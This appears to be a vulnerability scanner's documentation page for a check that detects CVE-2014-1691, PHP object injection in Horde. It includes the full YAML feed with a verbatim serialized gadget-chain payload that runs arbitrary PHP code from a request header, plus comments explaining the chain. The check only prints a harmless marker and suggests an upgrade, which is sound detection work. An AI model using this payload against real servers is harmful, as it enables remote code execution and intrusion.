Horde — 1 vulnerability check
noctis ships 1 vulnerability check for Horde, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Horde Framework _formvars unserialize() PHP Code Execution
| CVE | CVE-2014-1691 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/horde/CVE-2014-1691.yaml |
Tests Horde up to 5.1.1 for the PHP object injection in the _formvars request parameter, which is passed to unserialize() without authentication. The object chain used relies on Horde 4/5 framework classes, including the Kolab_Server package, so Horde 3.x installs and installs without that package are not reported by this test. The feed sends a POST to login.php, under /horde, the web root, /webmail and /groupware, whose _formvars parameter holds a serialized chain of Horde objects that, when destroyed, evaluates PHP code taken from the Cmd request header. That code only prints NOCTIS followed by the product of two random numbers and ends the request. The product does not appear in the request (the code is sent base64-encoded), so finding it in the reply proves that the server ran the injected PHP code. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{dir}}/login.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
rce_markerfor^NOCTIS[0-9]{10,12}$→ finding QoD 97: Horde _formvars unserialize() PHP code execution
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-1691
- http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
- https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149
- https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3
Feed source — tests/vulnerabilities/horde/CVE-2014-1691.yaml
# Horde Framework _formvars unserialize() PHP object injection — CVE-2014-1691
#
# Horde 3.1.x to 5.1.1 (Horde_Variables, lib/Horde/Variables.php) passes the
# request parameter _formvars to unserialize() before any authentication. A
# serialized Horde_Kolab_Server_Decorator_Clean object reaches, from its
# __destruct(), Horde_Prefs_Identity::delete() -> save() ->
# Horde_Prefs::setValue(), whose 'sizecallback' option is a callable:
# array(Horde_Config, 'readXMLConfig'). readXMLConfig() evaluates the object's
# _oldConfig string, here "eval(base64_decode($_SERVER[HTTP_CMD]));die();", so
# the PHP code in the Cmd request header runs (gadget chain by EgiX, same
# serialized object as the public Metasploit module). The fix decodes
# _formvars with json_decode() instead. The chain needs the Horde 4/5
# classes, Horde_Kolab_Server among them: Horde 3.x and installs without the
# Kolab_Server package are vulnerable but give no finding here.
#
# Detection: POST the serialized object as _formvars to <dir>/login.php with
# Cmd = base64("exit(\"NOCTIS\".(A*B));"), A and B random six-digit numbers.
# Only the PHP interpreter produces NOCTIS<A*B>: the product never appears in
# the request (the code travels base64-encoded), so a reflecting server is not
# reported. The injected code prints one string and stops the request; nothing
# is written on the target.
#
# Improvements over the source NASL:
# - Benign computed marker instead of phpinfo(); the marker cannot come from
# a reflected request or from a phpinfo() page served by another app.
# - The NASL only tries the location its product detection found; the feed
# walks the usual install paths (/horde, /, /webmail, /groupware) itself.
# - The evidence carries the marker only, not the page.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_horde_65200.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103926, GPL-2.0-only). Request body copied
# verbatim from the NVT.
uid: 84c6ec48-a542-4db5-a0d7-194e6a2e8c41
name: "Horde Framework _formvars unserialize() PHP Code Execution (CVE-2014-1691)"
description: |
Tests Horde up to 5.1.1 for the PHP object injection in the _formvars
request parameter, which is passed to unserialize() without
authentication. The object chain used relies on Horde 4/5 framework
classes, including the Kolab_Server package, so Horde 3.x installs and
installs without that package are not reported by this test. The feed sends a POST to login.php, under /horde, the web
root, /webmail and /groupware, whose _formvars parameter holds a serialized
chain of Horde objects that, when destroyed, evaluates PHP code taken from
the Cmd request header. That code only prints NOCTIS followed by the
product of two random numbers and ends the request. The product does not
appear in the request (the code is sent base64-encoded), so finding it in
the reply proves that the server ran the injected PHP code. Nothing is
written on the target.
cves: [CVE-2014-1691]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.25
tags: [horde, php, php-object-injection, unserialize, deserialization, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-1691"
- "http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection"
- "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149"
- "https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3"
# OpenVAS/Greenbone NASL 2014/gb_horde_65200.nasl (GPL-2.0-only)
steps:
# Random product, computed once: the marker the injected PHP prints, and
# the base64 of that PHP code for the Cmd header.
- id: proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{
marker: "NOCTIS" + (a * b),
cmd: base64_encode("exit(\"NOCTIS\".(" + a + "*" + b + "));")
}
store_as: proof
# ── Loop group: the following steps run once per install dir, until the
# first dir whose reply carries the marker (stop: true).
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/horde", "", "/webmail", "/groupware"]
- id: exploit
action: http_request
method: POST
path: "{{dir}}/login.php"
port: "{{port}}"
headers:
Cmd: "{{proof.cmd}}"
Content-Type: "application/x-www-form-urlencoded"
body: "_formvars=O%3a34%3a%22Horde_Kolab_Server_Decorator_Clean%22%3a2%3a%7bs%3a43%3a%22%00Horde_Kolab_Server_Decorator_Clean%00_server%22%3bO%3a20%3a%22Horde_Prefs_Identity%22%3a2%3a%7bs%3a9%3a%22%00%2a%00_prefs%22%3bO%3a11%3a%22Horde_Prefs%22%3a2%3a%7bs%3a8%3a%22%00%2a%00_opts%22%3ba%3a1%3a%7bs%3a12%3a%22sizecallback%22%3ba%3a2%3a%7bi%3a0%3bO%3a12%3a%22Horde_Config%22%3a1%3a%7bs%3a13%3a%22%00%2a%00_oldConfig%22%3bs%3a46%3a%22eval%28base64_decode%28%24_SERVER%5bHTTP_CMD%5d%29%29%3bdie%28%29%3b%22%3b%7di%3a1%3bs%3a13%3a%22readXMLConfig%22%3b%7d%7ds%3a10%3a%22%00%2a%00_scopes%22%3ba%3a1%3a%7bs%3a5%3a%22horde%22%3bO%3a17%3a%22Horde_Prefs_Scope%22%3a1%3a%7bs%3a9%3a%22%00%2a%00_prefs%22%3ba%3a1%3a%7bi%3a0%3bi%3a1%3b%7d%7d%7d%7ds%3a13%3a%22%00%2a%00_prefnames%22%3ba%3a1%3a%7bs%3a10%3a%22identities%22%3bi%3a0%3b%7d%7ds%3a42%3a%22%00Horde_Kolab_Server_Decorator_Clean%00_added%22%3ba%3a1%3a%7bi%3a0%3bi%3a1%3b%7d%7d"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: resp
# Keep only the marker (not the page) for the evidence. The marker is
# matched as a whole number: a longer digit run is not our product.
- id: marker-check
action: script
code: |
if type_of(resp.body) == "string" && egrep(proof.marker + "([^0-9]|$)", resp.body) != "" {
proof.marker
} else { "" }
store_as: rce_marker
- id: detect
action: match
source: rce_marker
pattern: "^NOCTIS[0-9]{10,12}$"
on_match:
finding:
title: "Horde _formvars unserialize() PHP code execution"
confidence_delta: 0.70
qod: 97
evidence: "POST {{dir}}/login.php with a serialized Horde object chain in _formvars ran the PHP code from the Cmd header: the reply carries {{rce_marker}}, the product of two random numbers that appear nowhere in the request (CVE-2014-1691)."
remediation: "Upgrade Horde to 5.1.2 or later (Horde_Variables then decodes _formvars with json_decode() instead of unserialize())."
stop: true